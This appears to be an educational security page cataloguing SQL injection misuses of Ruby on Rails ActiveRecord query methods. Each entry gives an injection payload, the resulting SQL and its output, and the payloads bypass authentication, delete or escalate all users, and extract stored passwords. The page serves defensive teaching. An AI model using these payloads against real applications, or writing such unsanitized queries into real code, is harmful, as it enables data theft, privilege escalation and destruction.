The Ruby on Rails web framework provides a library called ActiveRecord which provides an abstraction for accessing databases.
This page lists many query methods and options in ActiveRecord which do not sanitize raw SQL arguments and are not intended to be called with unsafe user input. Careless use of these methods can open up code to SQL Injection exploits. The examples here do not include SQL injection from known CVEs and are not vulnerabilities themselves, only potential misuses of the methods.
Please use this list as a guide of what not to do.
This list is in no way exhaustive or complete! Please feel free to contribute.
Each method or option described below is accompanied by an example demonstrating how the ActiveRecord interface could be exploited if used unsafely. These are not necessarily the worst exploits, they represent just a small hint of what could be accomplished if one is not careful. The examples on this page were tested with Rails 5.0.7 and SQLite 3.
Clone and run this site from the git repo to try out or modify the examples!
      Calculate MethodsThere are several methods based around  
 The other calculation methods just call  Calculation methods: 
 Example
 This example finds the age of a specific user, rather than the sum of all user ages. params[:column] = "age) FROM users WHERE name = 'Bob';" Order.calculate(:sum, params[:column]) 
    Query
     
      SELECT SUM(age) FROM users WHERE name = 'Bob';) FROM "orders"
     
    Result
    
      50
     
   | 
  
      Delete All MethodAny methods which delete records should be used with care! The  Never pass user input directly to  Example
 This example bypasses any conditions and deletes all users. params[:id] = "1) OR 1=1--" User.delete_all("id = #{params[:id]}") 
    Query
     
      DELETE FROM "users" WHERE (id = 1) OR 1=1--)
     
    Result
    
      6
     
   | 
  
      Destroy All MethodAny methods which delete records should be used with lots of caution!  The  Never pass user input directly to  Example
 This example bypasses any conditions and deletes all users. Because ActiveRecord needs to instantiate each object, this query is performed in a transaction. The SQL for selecting the records to delete (where the injection occurs) looks like this: SELECT "users".* FROM "users" WHERE (id = NULL AND admin = '') OR 1=1--') params[:admin] = "') OR 1=1--'" User.destroy_all(["id = ? AND admin = '#{params[:admin]}", params[:id]]) 
    Query
     
      commit transaction
     
    Result
    
      [#<User id: 13, name: "Bob", password: "Bobpass", age: 59, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 14, name: "Jim", password: "Jimpass", age: 63, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 15, name: "Sarah", password: "Sarahpass", age: 72, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 16, name: "Tina", password: "Tinapass", age: 20, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 17, name: "Tony", password: "Tonypass", age: 19, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 18, name: "Admin", password: "supersecretpass", age: 48, admin: true, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">]
     
   | 
  
      Exists? MethodThe  However, code like this is not safe: 
User.exists? params[:user]
Since Rails will automatically convert parameters to arrays or hashes, it is possible to inject any SQL into this query. For example, 
 Will generate the query 
SELECT  1 AS one FROM "users"  WHERE (1) LIMIT 1
This query will always return true. To be be safe, convert user input to a string or integer if using it as the primary key in  Example
 This is more obvious than the example above, but demonstrates checking another table for a given value. params[:user] = "') or (SELECT 1 AS one FROM 'orders' WHERE total > 100 AND ''='" User.exists? ["name = '#{params[:user]}'"] 
    Query
     
      SELECT  1 AS one FROM "users" WHERE (name = '') or (SELECT 1 AS one FROM 'orders' WHERE total > 100 AND ''='') LIMIT ?
     
    Result
    
      true
     
   | 
  
      Find By MethodAdded in Rails 4, the  Note that  The safest (and most common) use of these methods is to pass in a hash table. Example
 This will find users who are admins. params[:id] = "admin = 't'" User.find_by params[:id] 
    Query
     
      SELECT  "users".* FROM "users" WHERE (admin = 't') LIMIT ?
     
    Result
    
      #<User id: 30, name: "Admin", password: "supersecretpass", age: 48, admin: true, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">
     
   | 
  
      From MethodThe  Example
 Instead of returning all non-admin users, we return all admin users. params[:from] = "users WHERE admin = 't' OR 1=?;" User.from(params[:from]).where(admin: false) 
    Query
     
      SELECT "users".* FROM users WHERE admin = 't' OR 1=?; WHERE "users"."admin" = ?
     
    Result
    
      #<ActiveRecord::Relation [#<User id: 36, name: "Admin", password: "supersecretpass", age: 32, admin: true, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">]>
     
   | 
  
      Group MethodThe  Example
 The intent of this query is to group non-admin users by the specified column. Instead, the query returns all users. params[:group] = "name UNION SELECT * FROM users" User.where(:admin => false).group(params[:group]) 
    Query
     
      SELECT "users".* FROM "users" WHERE "users"."admin" = ? GROUP BY name UNION SELECT * FROM users
     
    Result
    
      #<ActiveRecord::Relation [#<User id: 37, name: "Bob", password: "Bobpass", age: 24, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 38, name: "Jim", password: "Jimpass", age: 23, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 39, name: "Sarah", password: "Sarahpass", age: 34, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 40, name: "Tina", password: "Tinapass", age: 35, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 41, name: "Tony", password: "Tonypass", age: 44, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 42, name: "Admin", password: "supersecretpass", age: 29, admin: true, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">]>
     
   | 
  
      Having MethodThe  Example
 This input injects a union in order to return all orders, instead of just the orders from a single user. params[:total] = "1) UNION SELECT * FROM orders--" Order.where(:user_id => 1).group(:user_id).having("total > #{params[:total]}") 
    Query
     
      SELECT "orders".* FROM "orders" WHERE "orders"."user_id" = ? GROUP BY "orders"."user_id" HAVING (total > 1) UNION SELECT * FROM orders--)
     
    Result
    
      #<ActiveRecord::Relation [#<Order id: 22, user_id: 1, total: 10, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<Order id: 23, user_id: 3, total: 500, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<Order id: 24, user_id: 4, total: 1, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">]>
     
   | 
  
      Joins MethodThe  Example
 Skip WHERE clause and return all orders instead of just the orders for the specified user. params[:table] = "--" Order.joins(params[:table]) 
    Query
     
      SELECT "orders".* FROM "orders" --
     
    Result
    
      #<ActiveRecord::Relation [#<Order id: 25, user_id: 1, total: 10, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<Order id: 26, user_id: 3, total: 500, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<Order id: 27, user_id: 4, total: 1, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">]>
     
   | 
  
      Lock Method and OptionThe  Example
 Not a real example: SQLite does not support this option. params[:lock] = "?" User.where('id > 1').lock(params[:lock]) 
    Query
     
      SELECT "users".* FROM "users" WHERE (id > 1) 
     
    Result
    
      #<ActiveRecord::Relation [#<User id: 55, name: "Bob", password: "Bobpass", age: 70, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 56, name: "Jim", password: "Jimpass", age: 61, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 57, name: "Sarah", password: "Sarahpass", age: 32, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 58, name: "Tina", password: "Tinapass", age: 40, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 59, name: "Tony", password: "Tonypass", age: 58, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 60, name: "Admin", password: "supersecretpass", age: 36, admin: true, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">]>
     
   | 
  
      Not MethodThe  Example
 Return all users, even if they are administrators. params[:excluded] = "))) OR 1=1 --" User.where.not("admin = 1 OR id IN (#{params[:excluded]})") 
    Query
     
      SELECT "users".* FROM "users" WHERE (NOT (admin = 1 OR id IN ())) OR 1=1 --)))
     
    Result
    
      #<ActiveRecord::Relation [#<User id: 61, name: "Bob", password: "Bobpass", age: 34, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 62, name: "Jim", password: "Jimpass", age: 60, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 63, name: "Sarah", password: "Sarahpass", age: 56, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 64, name: "Tina", password: "Tinapass", age: 53, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 65, name: "Tony", password: "Tonypass", age: 48, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 66, name: "Admin", password: "supersecretpass", age: 57, admin: true, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">]>
     
   | 
  
      Order MethodThe  Example
 Taking advantage of SQL injection in  params[:sortby] = "(CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END)" User.order("#{params[:sortby]} ASC") 
    Query
     
      SELECT "users".* FROM "users" ORDER BY (CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END) ASC
     
    Result
    
      #<ActiveRecord::Relation [#<User id: 72, name: "Admin", password: "supersecretpass", age: 48, admin: true, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 67, name: "Bob", password: "Bobpass", age: 50, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 68, name: "Jim", password: "Jimpass", age: 56, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 69, name: "Sarah", password: "Sarahpass", age: 76, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 70, name: "Tina", password: "Tinapass", age: 67, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 71, name: "Tony", password: "Tonypass", age: 75, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">]>
     
   | 
  
      Pluck MethodThe  However, the return result will still be an array of values from a single column. Example
 Output the passwords from the users table. params[:column] = "password FROM users--" Order.pluck(params[:column]) 
    Query
     
      SELECT password FROM users-- FROM "orders"
     
    Result
    
      ["Bobpass", "Jimpass", "Sarahpass", "Tinapass", "Tonypass", "supersecretpass"]
     
   | 
  
      Reorder MethodThe  Example
 The  params[:order] = ", 8" User.order("name DESC").reorder("id #{params[:order]}") 
    Query
     
      SELECT "users".* FROM "users" ORDER BY id , 8
     
    Result
    
      SQLite3::SQLException: 2nd ORDER BY term out of range - should be between 1 and 7: SELECT "users".* FROM "users" ORDER BY id , 8
     
   | 
  
      Select MethodThe  Example
 Since the  params[:column] = "* FROM users WHERE admin = 't' ;" User.select(params[:column]) 
    Query
     
      SELECT * FROM users WHERE admin = 't' ; FROM "users"
     
    Result
    
      #<ActiveRecord::Relation [#<User id: 90, name: "Admin", password: "supersecretpass", age: 70, admin: true, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">]>
     
   | 
  
      Where MethodThe  Example
 The example below is using classic SQL injection to bypass authentication. params[:name] = "') OR 1--" User.where("name = '#{params[:name]}' AND password = '#{params[:password]}'") 
    Query
     
      SELECT "users".* FROM "users" WHERE (name = '') OR 1--' AND password = '')
     
    Result
    
      #<ActiveRecord::Relation [#<User id: 91, name: "Bob", password: "Bobpass", age: 32, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 92, name: "Jim", password: "Jimpass", age: 44, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 93, name: "Sarah", password: "Sarahpass", age: 62, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 94, name: "Tina", password: "Tinapass", age: 77, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 95, name: "Tony", password: "Tonypass", age: 47, admin: false, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">, #<User id: 96, name: "Admin", password: "supersecretpass", age: 68, admin: true, created_at: "2022-06-02 06:45:37", updated_at: "2022-06-02 06:45:37">]>
     
   | 
  
      Update All MethodLike  User input should never be passed directly to  Example
 Update every user to be an admin. params[:name] = "' OR 1=1;" User.update_all("admin = 1 WHERE name LIKE '%#{params[:name]}%'") 
    Query
     
      UPDATE "users" SET admin = 1 WHERE name LIKE '%' OR 1=1;%'
     
    Result
    
      6
     
   | 
  
This site is brought to you by the folks at Brakeman Pro.
More information about Rails security:
This site is also available as a Rails application. To interact with this site dynamically and try out different SQL injection attacks you can clone the code and run it locally. Contributions and corrections are welcome!